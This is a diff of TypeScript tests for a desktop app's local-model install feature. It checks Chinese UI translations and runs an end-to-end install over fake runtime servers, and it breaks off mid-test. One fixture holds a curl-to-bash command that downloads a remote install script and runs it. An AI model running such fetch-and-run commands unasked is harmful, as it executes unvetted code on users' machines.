+    expect(FROM_SERVER).toContain(LOCAL_MODEL_INSTALL_LABELS.conflictSizeChanged);
+    expect(FROM_SERVER).toContain(LOCAL_MODEL_INSTALL_LABELS.conflictSessionsOpen);
+    // The two other sentences of the `memory` reason and the two notes are not in the
+    // reason map, so they are named here.
+    expect(FROM_SERVER).toContain(LOCAL_MODEL_LABELS.noneMemoryContext);
+    expect(FROM_SERVER).toContain(LOCAL_MODEL_LABELS.noneMemoryUnknown);
+    expect(FROM_SERVER).toContain(LOCAL_MODEL_LABELS.noteSmallPick);
+    expect(FROM_SERVER).toContain(LOCAL_MODEL_LABELS.noteDiskDropped);
+  });
+
+  it('prints the developer tools sentence from one source', () => {
+    // Not sent by the server: the window prints it when `developerTools` is `missing`. The
+    // module's literal is the contract's text, so one dictionary entry serves both.
+    expect(FROM_MODULE).toContain(LOCAL_MODEL_INSTALL_LABELS.developerToolsMissing);
+  });
+
+  it('never uses the translator slot {name} for a value of its own', () => {
+    for (const text of ALL) expect(slots(text), text).not.toContain('name');
+  });
+
+  it.each(ALL)('translates %s, with no English left', (text) => {
+    const chinese = api.t(text);
+    expect(chinese).not.toBe(text);
+    expect(leftover(chinese)).toEqual([]);
+    // No long dash in any form: commas, colons and parentheses only.
+    expect(chinese).not.toMatch(LONG_DASH);
+  });
+
+  it.each(ALL.filter((text) => slots(text).length > 0))('keeps every slot of %s', (text) => {
+    // Digits only, so a marker is neither translated nor counted as leftover English.
+    const vars = Object.fromEntries(slots(text).map((slot, i) => [slot, `90${i}1`]));
+    const chinese = api.t(text, vars);
+    for (const value of Object.values(vars)) expect(chinese, `${text} lost a slot`).toContain(value);
+    expect(chinese).not.toMatch(/[{}]/);
+  });
+
+  it('keeps the product name a slot, so a custom display name reaches the Chinese text', () => {
+    api.configure({ language: 'zh-CN', displayName: 'Acme' });
+    try {
+      for (const text of ALL.filter((candidate) => candidate.includes('Codeman'))) {
+        const chinese = api.t(text);
+        expect(chinese, text).toContain('Acme');
+        expect(chinese, text).not.toContain('Codeman');
+      }
+    } finally {
+      api.configure({ language: 'zh-CN', displayName: 'Codeman' });
+    }
+  });
+
+  it('adds each key to the dictionary once', () => {
+    // A repeated key in the object literal silently replaces the first. Prettier leaves a key
+    // that is one word unquoted.
+    for (const text of ALL) {
+      const bare = /^\w+$/.test(text) ? I18N.split(`\n    ${text}: `).length - 1 : 0;
+      expect(I18N.split(`'${text}':`).length - 1 + bare, text).toBe(1);
+    }
+  });
+
+  it('translates the static strings in the page, and leaves what the module writes alone', () => {
+    expect(STATIC).toHaveLength(3);
+    expect(STATIC[0]).toBe('Model on this Mac');
+    expect(STATIC[2]).toBe('Run a model on this Mac');
+    const translated = page.window.document.getElementById('localModelGroup')!;
+    const heading = translated.querySelector('.set-group-head h4')!.textContent!.trim();
+    const hint = translated.querySelector('.set-group-hint')!.textContent!.trim();
+    expect(heading).toBe('此 Mac 上的模型');
+    expect(hint).not.toBe(STATIC[1]);
+    expect(hint).toBe(api.t(STATIC[1]));
+    expect(leftover(hint)).toEqual([]);
+    const title = page.window.document.getElementById('localModelModalTitle')!.textContent!.trim();
+    expect(title).toBe('在此 Mac 上运行模型');
+    // The dialog's close button is named in Chinese too.
+    const close = page.window.document.querySelector('#localModelModal .modal-close')!;
+    expect(close.getAttribute('aria-label')).toBe('关闭');
+    // Written only by the module, through its own translator call. The button keeps the
+    // English label it ships with until the module shows it.
+    for (const id of ['welcomeLocalModelBtn', 'localModelSettings', 'localModelSettingsOpen', 'localModelWindowBody']) {
+      expect(INDEX).toMatch(new RegExp(`id="${id}"[^>]*data-i18n-skip`));
+    }
+    expect(page.window.document.getElementById('welcomeLocalModelLabel')!.textContent).toBe('Run a local model');
+  });
+});

test/local-model-install-e2e.test.ts

@@ -0,0 +1,763 @@
+/**
+ * @fileoverview The local model install from the first GET to Remove, with the REAL modules
+ * joined together: the routes, the install service, the catalogue and `recommend()`, the
+ * runtime download and unpack, the supervisor, the pull, the checks, the connection and the
+ * state file. Only what would touch the world is a stand-in:
+ *
+ *  - the runtime is the fake HTTP server of test/fixtures/fake-ollama.ts (one instance serves
+ *    the archive, a second one is what the supervisor "starts" through the fake's `spawn`);
+ *  - the pin points at the fake's small archive and carries that archive's own sha256, so the
+ *    real download, the real hash comparison and the real `/usr/bin/tar` run;
+ *  - the hardware is the owner's MacBook as its `sysctl` reported it (Apple M5 Pro, 48 GB);
+ *  - the coding agent's installer is a function that says it ran;
+ *  - the waits between retries are skipped (the retries themselves are the real ones).
+ *
+ * Nothing is downloaded from the network, no process is started and no fixed port is used
+ * (the runtime's port is one the system handed out). Files live in the test's temp data dir.
+ *
+ * The walks: the whole install and its removal; a damaged runtime download; a model download
+ * that fails twice and then succeeds; one that keeps failing; a model that calls no tool;
+ * Cancel during the model download; a server restart during the model download; a server
+ * that is KILLED during the model download and leaves its runtime running.
+ *
+ * "A server" here is one install service with its own runtime supervisor (`startServer()`).
+ * A restart is `shutdown()` of the one and a new one over the same data dir.
+ *
+ * The other tests give each module fakes of its neighbours. This one is what fails when two
+ * modules that each pass their own tests do not fit together.
+ *
+ * Port: the fake runtime binds port 0 twice; the routes use app.inject().
+ */
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
+import { existsSync, mkdirSync, readFileSync, rmSync, writeFileSync } from 'node:fs';
+import { rm } from 'node:fs/promises';
+import { dirname } from 'node:path';
+import { createRouteTestHarness } from './routes/_route-test-utils.js';
+import {
+  createFakeOllama,
+  freeLoopbackPort,
+  MACBOOK_MEASURED_TOTAL_BYTES,
+  startFakeOllama,
+  type FakeOllama,
+} from './fixtures/fake-ollama.js';
+import { dataPath, getDataDir } from '../src/config/instance.js';
+import { customModelHostsPath, readCustomModelHosts } from '../src/custom-model-hosts.js';
+import { createLocalModelService, type LocalModelService } from '../src/local-model/install-job.js';
+import { memClassGb, formatGb } from '../src/local-model/format.js';
+import { pullModel, PULL_RETRIES } from '../src/local-model/ollama-client.js';
+import { localModelPaths, type LocalModelPaths } from '../src/local-model/paths.js';
+import {
+  createRuntimeSupervisor,
+  ensureRuntimeInstalled,
+  type RuntimeSupervisorDeps,
+} from '../src/local-model/runtime.js';
+import { readLocalModelState } from '../src/local-model/state-store.js';
+import { registerLocalModelRoutes } from '../src/web/routes/local-model-routes.js';
+import { SETTINGS_PATH } from '../src/web/route-helpers.js';
+import type { Candidate, HardwareFacts, HarnessFact, LocalModelInstallView, LocalModelStatus } from '../src/types.js';
+
+const INSTALL_COMMAND = 'curl -fsSL https://opencode.ai/install | bash';
+
+/** The owner's MacBook, from its sysctl capture of 2026-11-06. */
+const MACBOOK: HardwareFacts = {
+  platform: 'darwin',
+  arch: 'arm64',
+  arm64: true,
+  translated: false,
+  memBytes: 51539607552,
+  memGb: formatGb(51539607552),
+  memClassGb: memClassGb(51539607552),
+  chip: 'Apple M5 Pro',
+  model: 'Mac17,13',
+  macosVersion: '27.2',
+  macosMajor: 27,
+  wiredLimitMb: 0,
+  freeDiskBytes: 912308310016,
+  freeDiskGb: formatGb(912308310016),
+  source: 'sysctl',
+};
+
+interface World {
+  archive: FakeOllama;
+  runtime: FakeOllama | undefined;
+  port: number;
+  paths: LocalModelPaths;
+  agentInstalled: boolean;
+  installerRuns: number;
+  /** How many of the next archive downloads arrive with one byte changed (the size stays the pinned one). */
+  damagedDownloads: number;
+  /** The server that is up. A restart replaces it. */
+  service: LocalModelService;
+  /** Every server of the test, for the clean-up. */
+  services: LocalModelService[];
+  sessions: Map<string, { name: string; customModel?: { endpointId: string } }>;
+}
+
+let world: World;
+
+const HOSTS = () => customModelHostsPath(getDataDir());
+const STATE = () => dataPath('local-model.json');
+
+const harnessFacts = async (): Promise<HarnessFact[]> => [
+  {
+    cli: 'opencode',
+    label: 'OpenCode',
+    installed: world.agentInstalled,
+    installable: !world.agentInstalled,
+    ...(world.agentInstalled ? {} : { installCommand: INSTALL_COMMAND }),
+    acceptsModelId: () => true,
+  },
+];
+
+/**
+ * The download of the runtime archive: the real `fetch` against the fake's archive. While
+ * `world.damagedDownloads` is above 0 the body arrives with its last byte changed, as a
+ * download damaged on the way does: the size is still the pinned one, only the hash can tell.
+ */
+const archiveFetch: typeof fetch = async (input, init) => {
+  const res = await fetch(input, init);
+  if (world.damagedDownloads <= 0 || !res.ok) return res;
+  world.damagedDownloads -= 1;
+  const body = Buffer.from(await res.arrayBuffer());
+  body[body.length - 1] ^= 0xff;
+  return new Response(body, { status: res.status, headers: { 'content-length': String(body.length) } });
+};
+
+/**
+ * One Codeman server as far as this feature goes: an install service with its own runtime
+ * supervisor, over the data dir, the pin and the port of the test. It becomes `world.service`,
+ * which is the one the routes ask.
+ */
+function startServer(processes: Partial<Pick<RuntimeSupervisorDeps, 'commandOfPid' | 'kill'>> = {}): LocalModelService {
+  const pin = world.archive.pin();
+  const { paths, port } = world;
+  const supervisor = createRuntimeSupervisor({
+    // "Starting the runtime" makes the second fake listen on the port it was given.
+    spawn: (command, args, options) => {
+      if (!world.runtime) throw new Error('The test did not prepare a runtime');
+      return world.runtime.spawn(command, args, options);
+    },
+    fetch,
+    env: { PATH: process.env.PATH, CODEMAN_PASSWORD: 'must-not-reach-the-runtime', OLLAMA_ORIGINS: '*' },
+    commandOfPid: async () => undefined,
+    kill: () => {},
+    ...processes,
+    sleep: async () => {},
+    pin,
+    paths,
+    onChange: (status) => service.onRuntimeChange(status),
+  });
+  const service: LocalModelService = createLocalModelService({
+    readHardware: async () => MACBOOK,
+    buildHarnessFacts: harnessFacts,
+    pin,
+    paths,
+    // The real download and unpack, told where the network is: the fake's archive.
+    ensureRuntimeInstalled: (options) =>
+      ensureRuntimeInstalled({ ...options, deps: { fetch: archiveFetch, sleep: async () => {} } }),
+    // The real pull with its real retries, without the seconds between them.
+    pullModel: (target, modelId, options) => pullModel(target, modelId, { ...options, sleep: async () => {} }),
+    chooseRuntimePort: async () => port,
+    supervisor,
+    recheckCliInstalled: async () => world.agentInstalled,
+    tryBeginCliInstall: () => () => {},
+    runInstallCommand: async () => {
+      world.installerRuns++;
+      world.agentInstalled = true;
+      return { code: 0, output: 'opencode installed\n', timedOut: false, aborted: false };
+    },
+    audit: async () => {},
+    checkDeveloperTools: async () => 'missing',
+  });
+  world.service = service;
+  world.services.push(service);
+  return service;
+}
+
+beforeEach(async () => {
+  const archive = await startFakeOllama();
+  world = {
+    archive,
+    runtime: undefined,
+    port: await freeLoopbackPort(),
+    paths: localModelPaths('0.40.15'),
+    agentInstalled: false,
+    installerRuns: 0,
+    damagedDownloads: 0,
+    service: undefined as unknown as LocalModelService,
+    services: [],
+    sessions: new Map(),
+  };
+  startServer();
+});
+
+afterEach(async () => {
+  for (const service of world.services) await service.shutdown();
+  await world.archive.close();
+  await world.runtime?.close();
+  await rm(world.paths.root, { recursive: true, force: true });
+  rmSync(STATE(), { force: true });
+  rmSync(HOSTS(), { force: true });
+  rmSync(SETTINGS_PATH, { force: true });
+  vi.restoreAllMocks();
+});
+
+async function routes() {
+  const { app } = await createRouteTestHarness((instance) =>
+    registerLocalModelRoutes(
+      instance,
+      { sessions: world.sessions },
+      { readHardware: async () => MACBOOK, buildHarnessFacts: harnessFacts, service: () => world.service }
+    )
+  );
+  const get = async (): Promise<LocalModelStatus> =>
+    (await app.inject({ method: 'GET', url: '/api/local-model' })).json().data;
+  /** Polls the GET the way the window does, until the job is no longer running. */
+  const settled = async (): Promise<LocalModelInstallView> => {
+    let install = (await get()).install;
+    await vi.waitFor(
+      async () => {
+        install = (await get()).install;
+        expect(install.state).not.toBe('installing');
+      },
+      { timeout: 20_000, interval: 25 }
+    );
+    return install;
+  };
+  /** The click on "Download and install" for the row the server recommends, with the size it showed. */
+  const install = (pick: Candidate) =>
+    app.inject({
+      method: 'POST',
+      url: '/api/local-model/install',
+      payload: { modelId: pick.modelId, cli: 'opencode', context: pick.context, acknowledgedBytes: pick.installBytes },
+    });
+  /** Polls until the model download is under way and has moved. */
+  const pulling = async (): Promise<void> => {
+    await vi.waitFor(
+      async () => {
+        const status = await get();
+        expect(status.install.step).toBe('model');
+        expect(status.install.progress?.completedBytes ?? 0).toBeGreaterThan(0);
+      },
+      { timeout: 20_000, interval: 20 }
+    );
+  };
+  return { app, get, settled, install, pulling };
+}
+
+/** The runtime the supervisor will "start": it has exactly the model the server recommended. */
+function prepareRuntime(pick: Candidate): FakeOllama {
+  world.runtime = createFakeOllama({
+    model: { id: pick.modelId, bytes: pick.downloadBytes },
+    contextLength: pick.context,
+  });
+  return world.runtime;
+}
+
+/** A model download that takes a while: 400 lines, 5 ms apart. */
+function slowPull(runtime: FakeOllama): void {
+  runtime.switches.pull.progressLines = 400;
+  runtime.switches.pull.lineDelayMs = 5;
+}
+
+function quickPull(runtime: FakeOllama): void {
+  runtime.switches.pull.progressLines = 20;
+  runtime.switches.pull.lineDelayMs = 0;
+}
+
+describe('the install from the first GET to Remove, real modules over a fake runtime', () => {
+  it('recommends for the MacBook, installs what was confirmed, connects it, refuses a changed model, and removes all of it', async () => {
+    mkdirSync(dirname(SETTINGS_PATH), { recursive: true });
+    writeFileSync(SETTINGS_PATH, JSON.stringify({ tmuxHistoryLimit: 5000 }));
+    const { app, get, settled, install: clickInstall } = await routes();
+
+    // ---- The chooser: what the window shows before anything is installed ----
+    const before = await get();
+    expect(before.install).toMatchObject({
+      state: 'idle',
+      running: false,
+      developerTools: 'missing',
+      actions: ['install'],
+      folder: world.paths.root,
+      runtime: { version: '0.40.15', installed: false, downloadBytes: world.archive.archive.size },
+    });
+    expect(before.recommendation.verdict).toBe('ok');
+    expect(before.recommendation.budgetSource).toBe('estimated');
+    const pick = before.recommendation.pick!;
+    expect(pick).toBeDefined();
+    // The MacBook's row: the one model that was run on a Mac like it, with its measured speed.
+    expect(pick).toMatchObject({
+      modelId: 'qwen3.6:35b-a3b',
+      context: 131072,
+      fit: 'tight',
+      needSource: 'measured',
+      tested: true,
+      tag: { kind: 'tested' },
+    });
+    // The row carries the coding agent and the literal command the consent screen prints.
+    expect(pick.harnesses[0]).toMatchObject({
+      cli: 'opencode',
+      cliLabel: 'OpenCode',
+      installed: false,
+      installCommand: INSTALL_COMMAND,
+    });
+    // The server's own total: the model plus the runtime archive that is still to download.
+    expect(pick.installBytes).toBe(pick.downloadBytes + world.archive.archive.size);
+    expect(pick.installGb).toBe(formatGb(pick.installBytes));
+    const runtime = prepareRuntime(pick);
+
+    // ---- Consent is bound to the size shown ----
+    const stale = await app.inject({
+      method: 'POST',
+      url: '/api/local-model/install',
+      payload: { modelId: pick.modelId, cli: 'opencode', context: pick.context, acknowledgedBytes: pick.downloadBytes },
+    });
+    expect(stale.statusCode).toBe(409);
+    expect(stale.json().data).toMatchObject({ reason: 'size-changed', expectedBytes: pick.installBytes });
+    expect(world.archive.state.archiveRequests).toBe(0);
+
+    // ---- Install ----
+    const started = await clickInstall(pick);
+    expect(started.statusCode).toBe(200);
+    expect(started.json().data).toMatchObject({
+      state: 'installing',
+      steps: ['runtime', 'model', 'verify', 'agent', 'connect'],
+      model: { id: pick.modelId, label: pick.modelLabel },
+      cli: 'opencode',
+      context: pick.context,
+      actions: ['cancel'],
+    });
+    // One job at a time.
+    const second = await clickInstall(pick);
+    expect(second.statusCode).toBe(409);
+    expect(second.json().data).toMatchObject({ reason: 'job-running' });
+
+    const install = await settled();
+    expect(install.error).toBeUndefined();
+    expect(install).toMatchObject({
+      state: 'installed',
+      running: true,
+      port: world.port,
+      model: { id: pick.modelId, label: pick.modelLabel },
+      cli: 'opencode',
+      cliLabel: 'OpenCode',
+      context: pick.context,
+      endpointId: 'local-ollama',
+      folder: world.paths.root,
+      loaded: { context: pick.context, onGpu: true },
+      actions: ['start-session', 'stop', 'remove'],
+      runtime: { installed: true, downloadBytes: 0, downloadGb: formatGb(0) },
+    });
+
+    // ---- What really happened ----
+    // The runtime was downloaded once, unpacked, and "started" with the allowlisted environment.
+    expect(world.archive.state.archiveRequests).toBe(1);
+    expect(existsSync(world.paths.binary)).toBe(true);
+    expect(existsSync(world.paths.archivePartial)).toBe(false);
+    expect(runtime.state.children).toHaveLength(1);
+    const env = runtime.state.children[0].env;
+    expect(env.OLLAMA_HOST).toBe(`127.0.0.1:${world.port}`);
+    expect(env.OLLAMA_CONTEXT_LENGTH).toBe(String(pick.context));
+    expect(env.HOME).toBe(world.paths.homeDir);
+    expect(env.OLLAMA_MODELS).toBe(world.paths.modelsDir);
+    expect(Object.keys(env).filter((key) => key.startsWith('CODEMAN_'))).toEqual([]);
+    expect(env).not.toHaveProperty('OLLAMA_ORIGINS');
+    // One pull, one coding agent install.
+    expect(runtime.state.pulls).toBe(1);
+    expect(world.installerRuns).toBe(1);
+
+    // The state file: the measured budget, the pull's own total, the digest.
+    const state = await readLocalModelState();
+    expect(state).toMatchObject({
+      state: 'installed',
+      model: { id: pick.modelId, context: pick.context, pullBytes: runtime.model.bytes, digest: runtime.model.digest },
+      runtime: {
+        version: '0.40.15',
+        port: world.port,
+        enabled: true,
+        measuredTotalBytes: MACBOOK_MEASURED_TOTAL_BYTES,
+      },
+      connection: { endpointId: 'local-ollama', flagWasEnabled: false },
+    });
+    expect(JSON.stringify(state)).not.toContain(getDataDir());
+
+    // The two writes outside the folder, and nothing else changed there.
+    expect(await readCustomModelHosts(getDataDir())).toEqual([
+      {
+        id: 'local-ollama',
+        label: 'This Mac',
+        baseUrl: `http://127.0.0.1:${world.port}`,
+        authStyle: 'bearer',
+        models: [pick.modelId],
+        defaultModelId: pick.modelId,
+        defaultContextLength: pick.context,
+      },
+    ]);
+    expect(JSON.parse(readFileSync(SETTINGS_PATH, 'utf8'))).toEqual({
+      tmuxHistoryLimit: 5000,
+      customModelEndpointsEnabled: true,
+    });
+
+    // From now on the budget of the GET is the measured one.
+    const after = await get();
+    expect(after.recommendation.budgetSource).toBe('measured');
+    expect(after.recommendation.budgetBytes).toBeLessThanOrEqual(MACBOOK_MEASURED_TOTAL_BYTES);
+
+    // ---- A session may start, until the model changes under its name ----
+    expect(await world.service.launchRefusalMessage('local-ollama', pick.modelId)).toBeUndefined();
+    runtime.model.digest = 'f'.repeat(64);
+    expect(await world.service.launchRefusalMessage('local-ollama', pick.modelId)).toBe(
+      'The model on this Mac changed since it was installed. Remove it and install it again.'
+    );
+    expect((await get()).install).toMatchObject({
+      state: 'installed',
+      error: { code: 'model-changed', next: 'remove' },
+    });
+
+    // ---- Remove ----
+    world.sessions.set('s1', { name: 'w1-app', customModel: { endpointId: 'local-ollama' } });
+    const refused = await app.inject({ method: 'DELETE', url: '/api/local-model', payload: { removeModel: true } });
+    expect(refused.statusCode).toBe(409);
+    expect(refused.json().data).toMatchObject({ reason: 'sessions-open', sessions: ['w1-app'] });
+    expect(existsSync(world.paths.binary)).toBe(true);
+
+    world.sessions.clear();
+    const removed = await app.inject({ method: 'DELETE', url: '/api/local-model', payload: { removeModel: true } });
+    expect(removed.statusCode).toBe(200);
+    expect(removed.json().data).toMatchObject({ state: 'idle', running: false, actions: ['install'] });
+    // The child was stopped and the whole folder is gone: the runtime, the private home, the models.
+    expect(runtime.state.children[0].signals).toContain('SIGTERM');
+    expect(runtime.listening).toBe(false);
+    expect(existsSync(world.paths.root)).toBe(false);
+    // Our record is gone, and the flag this feature switched on is off again.
+    expect(await readCustomModelHosts(getDataDir())).toEqual([]);
+    expect(JSON.parse(readFileSync(SETTINGS_PATH, 'utf8'))).toEqual({
+      tmuxHistoryLimit: 5000,
+      customModelEndpointsEnabled: false,
+    });
+    expect((await readLocalModelState()).state).toBe('idle');
+    // The chooser is back, with the runtime download in the total again.
+    const again = await get();
+    expect(again.install.runtime).toMatchObject({ installed: false, downloadBytes: world.archive.archive.size });
+    expect(again.recommendation.pick?.installBytes).toBe(pick.installBytes);
+  }, 60_000);
+
+  it('a runtime download that arrives damaged is deleted before anything is unpacked, and Try again gets it', async () => {
+    const { get, settled, install: clickInstall, app } = await routes();
+    const pick = (await get()).recommendation.pick!;
+    const runtime = prepareRuntime(pick);
+    world.damagedDownloads = 1;
+
+    await clickInstall(pick);
+    const failed = await settled();
+    expect(failed).toMatchObject({
+      state: 'failed',
+      step: 'runtime',
+      error: { code: 'runtime-damaged', next: 'retry' },
+      actions: ['resume', 'install', 'remove'],
+      runtime: { installed: false },
+    });
+    expect(failed.error?.detail).toContain(world.archive.archive.sha256);
+    // The hash was compared first: the file is gone, nothing was unpacked, nothing was started.
+    expect(world.archive.state.archiveRequests).toBe(1);
+    expect(existsSync(world.paths.archivePartial)).toBe(false);
+    expect(existsSync(world.paths.unpackDir)).toBe(false);
+    expect(existsSync(world.paths.runtimeDir)).toBe(false);
+    expect(runtime.state.children).toHaveLength(0);
+    expect(runtime.state.pulls).toBe(0);
+
+    // "Try again" downloads the archive again, and this time it is the pinned one.
+    const resumed = await app.inject({ method: 'POST', url: '/api/local-model/resume', payload: {} });
+    expect(resumed.statusCode).toBe(200);
+    expect((await settled()).state).toBe('installed');
+    expect(world.archive.state.archiveRequests).toBe(2);
+    expect(existsSync(world.paths.binary)).toBe(true);
+    expect(runtime.state.children).toHaveLength(1);
+  }, 60_000);
+
+  it('a model download that fails twice is asked again and finishes; Remove leaves another saved endpoint and the models', async () => {
+    writeFileSync(HOSTS(), JSON.stringify([{ id: 'office', label: 'Office', baseUrl: 'http://192.168.1.50:8080' }]));
+    const { app, get, settled, install: clickInstall } = await routes();
+    const pick = (await get()).recommendation.pick!;
+    const runtime = prepareRuntime(pick);
+    // The real error line of a pull whose download kept failing, on the first two pulls.
+    runtime.switches.pull.fail = 'error-line';
+    runtime.switches.pull.failTimes = 2;
+
+    await clickInstall(pick);
+    const install = await settled();
+    expect(install.error).toBeUndefined();
+    expect(install.state).toBe('installed');
+    expect(runtime.state.pulls).toBe(3);
+    // The size of the model is the pull's own total.
+    expect((await readLocalModelState()).model?.pullBytes).toBe(runtime.model.bytes);
+    expect(await readCustomModelHosts(getDataDir())).toMatchObject([{ id: 'office' }, { id: 'local-ollama' }]);
+
+    // Remove without the box: the model store stays for a later install.
+    const removed = await app.inject({ method: 'DELETE', url: '/api/local-model', payload: { removeModel: false } });
+    expect(removed.json().data.state).toBe('idle');
+    expect(existsSync(world.paths.runtimeRoot)).toBe(false);
+    expect(existsSync(world.paths.homeDir)).toBe(false);
+    expect(existsSync(world.paths.modelsDir)).toBe(true);
+    // The other endpoint stays, and so does the flag it needs, although this feature switched it on.
+    expect(await readCustomModelHosts(getDataDir())).toEqual([
+      { id: 'office', label: 'Office', baseUrl: 'http://192.168.1.50:8080' },
+    ]);
+    expect(JSON.parse(readFileSync(SETTINGS_PATH, 'utf8')).customModelEndpointsEnabled).toBe(true);
+  }, 60_000);
+
+  it('a model download that keeps failing ends failed after its retries, and Try again continues it', async () => {
+    const { app, get, settled, install: clickInstall } = await routes();
+    const pick = (await get()).recommendation.pick!;
+    const runtime = prepareRuntime(pick);
+    runtime.switches.pull.fail = 'error-line';
+
+    await clickInstall(pick);
+    const failed = await settled();
+    expect(failed).toMatchObject({
+      state: 'failed',
+      step: 'model',
+      error: { code: 'pull-failed', next: 'retry', detail: 'max retries exceeded: local error: tls: bad record MAC' },
+      actions: ['resume', 'install', 'remove'],
+    });
+    // The first pull and every retry, and no more.
+    expect(runtime.state.pulls).toBe(1 + PULL_RETRIES);
+    // The download as it stood, in the pull's own figures.
+    expect(failed.progress?.totalBytes).toBe(runtime.model.bytes);
+    expect(failed.progress?.completedBytes).toBeGreaterThan(0);
+    expect(failed.progress?.completedBytes).toBeLessThan(runtime.model.bytes);
+    // Nothing was checked, installed or connected.
+    expect(runtime.state.installed).toBe(false);
+    expect(world.installerRuns).toBe(0);
+    expect(existsSync(HOSTS())).toBe(false);
+    expect(existsSync(SETTINGS_PATH)).toBe(false);
+
+    // The network is fine again: "Try again" enters the same step.
+    runtime.switches.pull.fail = 'none';
+    const resumed = await app.inject({ method: 'POST', url: '/api/local-model/resume', payload: {} });
+    expect(resumed.json().data).toMatchObject({ state: 'installing', step: 'model' });
+    expect((await settled()).state).toBe('installed');
+    expect(runtime.state.pulls).toBe(2 + PULL_RETRIES);
+    // The runtime was neither downloaded nor started a second time.
+    expect(world.archive.state.archiveRequests).toBe(1);
+    expect(runtime.state.children).toHaveLength(1);
+  }, 60_000);
+
+  it('a model that does not call a tool ends failed with the next model to try, and Remove cleans up', async () => {
+    const { app, get, settled, install: clickInstall } = await routes();
+    const pick = (await get()).recommendation.pick!;
+    const runtime = prepareRuntime(pick);
+    runtime.switches.tool = 'none';
+
+    await clickInstall(pick);
+    const install = await settled();
+    expect(install).toMatchObject({
+      state: 'failed',
+      step: 'verify',
+      error: { code: 'no-tool-call', next: 'next-model', message: { vars: { model: pick.modelLabel } } },
+      actions: ['resume', 'install', 'remove'],
+    });
+    // The model to try next is a row of the list the window has.
+    const offered = (await get()).recommendation;
+    expect(install.error?.nextModel?.modelId).not.toBe(pick.modelId);
+    expect(offered.alternatives.map((row) => row.modelId)).toContain(install.error?.nextModel?.modelId);
+    // The coding agent was not installed and nothing was connected.
+    expect(world.installerRuns).toBe(0);
+    expect(existsSync(HOSTS())).toBe(false);
+    expect(existsSync(SETTINGS_PATH)).toBe(false);
+
+    // "Try again" with a model that now calls the tool finishes the same job.
+    runtime.switches.tool = 'call';
+    const resumed = await app.inject({ method: 'POST', url: '/api/local-model/resume', payload: {} });
+    expect(resumed.statusCode).toBe(200);
+    expect((await settled()).state).toBe('installed');
+    // The runtime was not downloaded again and the model was not pulled again.
+    expect(world.archive.state.archiveRequests).toBe(1);
+    expect(runtime.state.pulls).toBe(1);
+
+    const removed = await app.inject({ method: 'DELETE', url: '/api/local-model' });
+    expect(removed.json().data.state).toBe('idle');
+    // This feature switched the flag on and no other endpoint is saved: it is off again.
+    expect(JSON.parse(readFileSync(SETTINGS_PATH, 'utf8')).customModelEndpointsEnabled).toBe(false);
+    // The model was not asked to go: the store stays for a later install.
+    expect(existsSync(world.paths.runtimeDir)).toBe(false);
+    expect(existsSync(world.paths.modelsDir)).toBe(true);
+  }, 60_000);
+
+  it('Cancel during the model download pauses the job, nothing goes on by itself, and Continue finishes it', async () => {
+    const { app, get, settled, install: clickInstall, pulling } = await routes();
+    const pick = (await get()).recommendation.pick!;
+    const runtime = prepareRuntime(pick);
+    slowPull(runtime);
+
+    await clickInstall(pick);
+    // The window sees the model download move.
+    await pulling();
+    expect((await get()).install).toMatchObject({ state: 'installing', step: 'model' });
+
+    const cancelled = await app.inject({ method: 'POST', url: '/api/local-model/cancel' });
+    expect(cancelled.statusCode).toBe(200);
+    const paused = cancelled.json().data as LocalModelInstallView;
+    expect(paused).toMatchObject({ state: 'paused', step: 'model', actions: ['resume', 'install', 'remove'] });
+    // The bytes as they stood, and the pull's own total.
+    expect(paused.progress?.totalBytes).toBe(runtime.model.bytes);
+    expect(paused.progress?.completedBytes).toBeLessThan(runtime.model.bytes);
+    expect(paused.progress).not.toHaveProperty('bytesPerSecond');
+    expect(runtime.state.installed).toBe(false);
+
+    // Nothing goes on by itself.
+    const pullsAfterCancel = runtime.state.pulls;
+    await new Promise((resolve) => setTimeout(resolve, 100));
+    expect(runtime.state.pulls).toBe(pullsAfterCancel);
+    expect((await get()).install.state).toBe('paused');
+
+    quickPull(runtime);
+    const resumed = await app.inject({ method: 'POST', url: '/api/local-model/resume' });
+    expect(resumed.json().data.state).toBe('installing');
+    expect((await settled()).state).toBe('installed');
+    expect(runtime.state.pulls).toBe(pullsAfterCancel + 1);
+  }, 60_000);
+
+  it('a server restart during the model download comes back paused, waits for a click, and Continue finishes it', async () => {
+    const { app, get, settled, install: clickInstall, pulling } = await routes();
+    const pick = (await get()).recommendation.pick!;
+    const runtime = prepareRuntime(pick);
+    slowPull(runtime);
+
+    await clickInstall(pick);
+    await pulling();
+
+    // ---- The server stops ----
+    const first = world.service;
+    await first.shutdown();
+    // The runtime child was signalled and no longer listens; the download stopped with it.
+    expect(runtime.state.children).toHaveLength(1);
+    expect(runtime.state.children[0].signals).toContain('SIGTERM');
+    expect(runtime.listening).toBe(false);
+    expect(runtime.state.installed).toBe(false);
+    // Stopping writes nothing: the file still says what the job was doing.
+    expect(await readLocalModelState()).toMatchObject({ state: 'installing', step: 'model' });
+    const pullsBefore = runtime.state.pulls;
+
+    // ---- A new server starts over the same data dir ----
+    const second = startServer();
+    expect(second).not.toBe(first);
+    await second.boot();
+    const paused = (await get()).install;
+    expect(paused).toMatchObject({
+      state: 'paused',
+      step: 'model',
+      steps: ['runtime', 'model', 'verify', 'agent', 'connect'],
+      model: { id: pick.modelId, label: pick.modelLabel },
+      cli: 'opencode',
+      context: pick.context,
+      port: world.port,
+      running: false,
+      runtime: { installed: true, downloadBytes: 0 },
+      actions: ['resume', 'install', 'remove'],
+    });
+    expect(paused.error).toBeUndefined();
+    expect(await readLocalModelState()).toMatchObject({ state: 'paused', step: 'model' });
+
+    // It never continues without a click: no runtime is started, nothing is pulled.
+    await new Promise((resolve) => setTimeout(resolve, 150));
+    expect(runtime.state.children).toHaveLength(1);
+    expect(runtime.state.pulls).toBe(pullsBefore);
+    expect((await get()).install.state).toBe('paused');
+
+    // ---- Continue ----
+    quickPull(runtime);
+    const resumed = await app.inject({ method: 'POST', url: '/api/local-model/resume', payload: {} });
+    expect(resumed.statusCode).toBe(200);
+    expect(resumed.json().data.state).toBe('installing');
+    const install = await settled();
+    expect(install.error).toBeUndefined();
+    expect(install).toMatchObject({ state: 'installed', running: true, endpointId: 'local-ollama' });
+    // The new server started the runtime itself and pulled once more; the archive was not fetched again.
+    expect(runtime.state.children).toHaveLength(2);
+    expect(runtime.state.pulls).toBe(pullsBefore + 1);
+    expect(world.archive.state.archiveRequests).toBe(1);
+    expect(world.installerRuns).toBe(1);
